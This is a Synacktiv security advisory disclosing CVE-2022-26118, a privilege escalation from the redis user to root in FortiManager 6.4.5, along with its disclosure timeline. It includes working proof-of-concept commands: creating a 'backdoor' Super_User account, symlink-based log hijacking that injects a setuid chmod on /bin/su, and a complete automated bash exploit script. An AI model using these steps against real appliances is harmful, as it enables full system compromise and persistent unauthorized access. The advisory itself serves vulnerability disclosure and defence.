SYNACKTIV
DIGITAL SECURITY

# Privilege escalation vulnerability in FortiManager version 6.4.5

**CVE-2022-26118**

## Security advisory

2023-01-25

Adrien Peter
Pierre Milioni
Clément Amic

# Vulnerabilities description

## FortiManager

*As the cloud and IoT force networks to evolve, organizations struggle to keep ahead. Too many solutions with varying management tools strain already overworked security teams. A new approach is needed to short-circuit this challenge, one that combines the perspective of both operations and security. FortiManager is the NOC-SOC operations tool that was built with security perspective. It provides a single-pane-of-glass across the entire Fortinet Security Fabric.*[1]

## The issue

Synacktiv discovered multiple vulnerabilities in the *FortiManager* software in 2021, which were disclosed in another advisory[2].

From the context of a restricted shell, obtained by exploiting the *Server-Side Request Forgery (SSRF*) assigned to the CVE CVE-2021-32603, and the unsafe *Redis* configuration, Synacktiv identified a privilege escalation vulnerability.

This vulnerability**,** due to insecure files and folders permissions and dangerous features offered by privileged processes, allows attackers to escalate their privileges, to the *root* super-user, and to patch the *FortiManager* configuration from the context of a restricted shell and an unprivileged user, such as from the *redis* local user.

CVE-2022-26118 was assigned and this issue was fixed in *FortiManager* 6.4.8, 7.0.4, and 7.2.0.

Fortinet Advisory : https://www.fortiguard.com/psirt/FG-IR-21-056

## Affected versions

At the time this report is written, the version *FMG-VM64-KVM-6.4-FW-build2288-210221* was proved to be affected.

## Timeline

| Date | Action |
|---|---|
| 2021-04-16 | Advisory sent to *Fortinet Product Security Incident Response Team*. |
| 2021-04-30 | Acknowledgment of receipt and first analysis of the *Fortinet Product Security Incident Response Team*. |
| 2021-07-22 | First update from the *Fortinet Product Security Incident Response Team* regarding the current vulnerability fixes. |
| 2021-08-24 | The CVE and advisories are published by *Fortinet*, meaning the vulnerabilities were fixed in the latest version release. |
| 2021-10-20 | The vulnerabilities which were not affected to a CVE are now fixed in the version 7.0.2. |
| 2022-03-10 | The first advisory[3] is made public by Synacktiv. |
| 2022-07-05 | The privilege escalation vulnerability was fixed by *Fortinet*. The CVE and its advisory are published by *Fortinet*, meaning the vulnerability was fixed in the latest version release. |
| 2023-01-25 | This advisory is made public by Synacktiv. |

1 https://docs.fortinet.com/product/fortimanager/6.4
2 https://www.synacktiv.com/sites/default/files/2022-03/fortimanager_multiple_vulnerabilities_2021_published.pdf
3 https://www.synacktiv.com/sites/default/files/2022-03/fortimanager_multiple_vulnerabilities_2021_published.pdf

# Vulnerabilities technical description and proof-of-concept

## Privilege escalation vulnerability (CVE-2022-26118)

The underlying system hosting the *FortiManager* application is lacking proper hardening.

### Improper access rights on the /var/log folder

```
$ ls -l /var/
drwxr-xr-x    4 root     root          4096 Mar 29 06:24 lock
drwxrwxrwx    9 root     root          4096 Apr  8 06:18 log
drwx------    2 root     root         16384 Mar 29 06:24 lost+found
[...]
```

The current configuration allows any user to remove or create files within the */var/log* directory independently of the owner of the files nor the permissions set on the files.

### Sensitive local features exposed without prior authentication

The server exposes several sockets, implementing sensitive commands, that are bound by privileged processes. Moreover, several executable files are usable to communicate with the said sockets such as:

- */fdsroot/bin/umclt*
- */fdsroot/bin/lcclient*
- */bin/newcli*

For example, these privileged services allow a local system user to:

- Restart the service writing logs in */var/log/fctlinkd.log* and */var/log/fgdlinkd.log* via the following command:

```
bash$ ~/strace -e connect /fdsroot/bin/lcclient -p 9602 --terminate
connect(3, {sa_family=AF_UNIX, sun_path="/dev/udm_fgd_linkd"}, 110) = 0
+++ exited with 0 +++
```

- Export the licence list to an arbitrary file using *root* privileges:

```
bash$ ~/strace -e connect /fdsroot/bin/umclt -a export_license_soap --file=/tmp/test
connect(3, {sa_family=AF_UNIX, sun_path="/dev/log"}, 110) = 0
connect(5, {sa_family=AF_UNIX, sun_path="/var/tmp/.svc_json.tcp"}, 25) = 0
Response=202
+++ exited with 0 +++
```

The previous command will export the licence list in the specified file by erasing its content and without modifying the file's attributes:

```
$ touch /tmp/test2; chmod +x /tmp/test2; ls -lah /tmp/test2
-rwxr-xr-x    1 redis    499             0 Apr  8 07:52 /tmp/test2

$ /fdsroot/bin/umclt -a export_license_soap --file=/tmp/test2
Response=202

$ ls -lah /tmp/test2
-rwxr-xr-x    1 redis    499          1.0K Apr  8 07:54 /tmp/test2
```

- Generate logs containing arbitrary content:

```
/fdsroot/bin/lcclient -p 9602 -r "<any content here>" "<any content here>" ""
```

The content will be included in the */var/log/fctlinkd.log* and */var/log/fgdlinkd.log* files as part of the log output of the said command.

- Modify the FortiManager's system configuration:

Executing arbitrary commands as the *redis* user is sufficient in order to modify the configuration of the appliance as the *newcli* program can communicate with internal privileged services:

```
bash$ id
uid=499(redis) gid=499 groups=499

bash$ echo "show system admin setting" | ~/strace -e connect \
      /bin/newcli system system --userfrom="jsconsole(127.0.0.1)" \
      --adminprof=Super_User --adom=root --from_sid=0
connect(4, {sa_family=AF_UNIX, sun_path="/tmp/cmdbsocket"}, 110) = 0
[...]
connect(4, {sa_family=AF_UNIX, sun_path="/tmp/cmdbsocket"}, 110) = 0
config system admin setting
connect(4, {sa_family=AF_UNIX, sun_path="/tmp/cmdbsocket"}, 110) = 0
    set offline_mode enable
end

FMG-VM64-KVM # +++ exited with 0 +++

bash$ cat add_backdoor_user.txt
config system admin user
      edit backdoor
            set password backdoor
            set profileid Super_User
            set adom "all_adoms"
      end
exit

bash$ cat add_backdoor_user.txt  | /bin/newcli system system \
      --userfrom="jsconsole(127.0.0.1)" \
      --adminprof=Super_User --adom=root --from_sid=0

FMG-VM64-KVM #
(user)#
(backdoor)#
(backdoor)#
(backdoor)#
(backdoor)#
FMG-VM64-KVM #
bash$
```

## Proof-of-concept

An attacker having access to the server is therefore able to interact with the different sockets and alter the */var/log/* directory. It is possible, by exploiting this vulnerability, to elevate one's privileges to root on the system from the *redis* user.

Because the */var/log/* is controllable by an unprivileged user, an attacker could remove the */var/log/fctlinkd.log* file or */var/log/fgdlinkd.log* and create a symbolic link to any other file on the filesystem. In the current context, the file */bin/dvm_adom_lookup* is run when a user without access to the *root Administrative Domain (ADOM)* is authenticating to the web interface.

With the following commands, the files */var/log/fctlinkd.log* and */var/log/fgdlinkd.log* are removed and are replaced by a symbolic link to */bin/dvm_adom_lookup*:

```
$ rm -f /var/log/fctlinkd.log /var/log/fgdlinkd.log
$ ln -s /bin/dvm_adom_lookup /var/log/fctlinkd.log
$ ln -s /bin/dvm_adom_lookup /var/log/fgdlinkd.log
```

In order for the service to take into account the modification (by opening again the file), it needs to be restarted. This can be done with the following command that uses sockets to communicate with the service:

```
/fdsroot/bin/lcclient -p 9602 --terminate
```

At this point, the logs are being written to */bin/dvm_adom_lookup*. The objective is to add arbitrary commands in this file and make the *apache2* service execute it as it is running with *root* privileges.

Because */bin/dvm_adom_lookup* begins with an ELF binary, it will always be executed using the linux dynamic linker *ld.so* which would prevent from injecting shell commands. In order to bypass this restriction, the file needs to be flushed but should keep the executable flag, this would make the file to be executed with the bash interpreter. The interpreter will fall back executing it as a shell script if the file is not an *ELF* binary as long as the executable file is invoked as following:

```
sh -c /bin/dvm_adom_lookup ById 2424
```

This can be achieved using the *umctl* command that will communicate with the service and make it export the licence list in */bin/dvm_adom_lookup*:

```
/fdsroot/bin/umclt -a export_license_soap --file=/bin/dvm_adom_lookup
```

Among the multiple invalid lines in */bin/dvm_adom_lookup*, an attacker could add one valid line with the following command:

```
/fdsroot/bin/lcclient -p 9602 -r "id;chmod 4555 /bin/su;id" "id;chmod 4555 /bin/su;id" ""
```

For example, when the program is run from the *redis* user, it indeed tries to execute the injected commands:

```
bash$ sh -c /bin/dvm_adom_lookup
/bin/dvm_adom_lookup: line 1: serial_number:FMG-VM0000000000: command not found
[...]
chmod: /bin/su: Operation not permitted
id: standard output: Broken pipe
chmod: /bin/su: Operation not permitted
[...]
/bin/dvm_adom_lookup: line 8: id],: command not found


bash$ ls -lah /bin/busybox
-rwxr-xr-x    1 root     root      332.0K Feb 21 21:28 /bin/busybox
```

The last step consists in connecting as an unprivileged user (or any user that does not have access to the *root ADOM*) on the web interface. It will trigger the execution of */bin/dvm_adom_lookup*, and thus the execution of the payload which sets the *suid* bit to the */bin/su* binary (and, consequently, to the *busybox* binary).

Once the injected command is executed and because there is no password set to the *admin* user, which is also *uid* 0, it is possible to perform the privilege escalation to *root* with the following command:

```
bash$ ls -lah /bin/busybox
-r-sr-xr-x    1 root     root      332.0K Feb 21 21:28 /bin/busybox
$ su - admin -s /bin/bash
# id
uid=0(root) gid=0(root) groups=0(root)
```

Finally, the following *bash* script can be used to automatically trigger the privilege escalation once an unprivileged user without access to the *root ADOM* is provided:

```
#!/bin/bash
function privesc() {
    local nonrootadom_user='user'
    local nonrootadom_pwd='user'

    rm -f /var/log/fctlinkd.log /var/log/fgdlinkd.log
    ln -s /bin/dvm_adom_lookup /var/log/fctlinkd.log
    ln -s /bin/dvm_adom_lookup /var/log/fgdlinkd.log
    /fdsroot/bin/lcclient -p 9602 --terminate
    #fdglinkd takes its time to restart sometimes...
    sleep 30
    for _ in {1..3}
    do
           /fdsroot/bin/umclt -a export_license_soap --file=/bin/dvm_adom_lookup
           /fdsroot/bin/lcclient -p 9602 -r \
                   "id;chmod 4555 /bin/su;id" "id;chmod 4555 /bin/su;id" ""
    done

    local auth_json=$(cat <<EOF
    {
        "url": "/gui/userauth",
        "method": "login",
        "params": {
            "username": "${nonrootadom_user}",
            "secretkey": "${nonrootadom_pwd}",
            "logintype": 0
        }
    }
EOF
)
    for _ in {1..3}
    do
            curl -X GET "http://127.0.0.1:31723/cgi-bin/module/flatui_auth" \
                -G --data-urlencode "req=$auth_json"
    done
    echo ""
    su - admin -s /bin/bash
}

privesc
```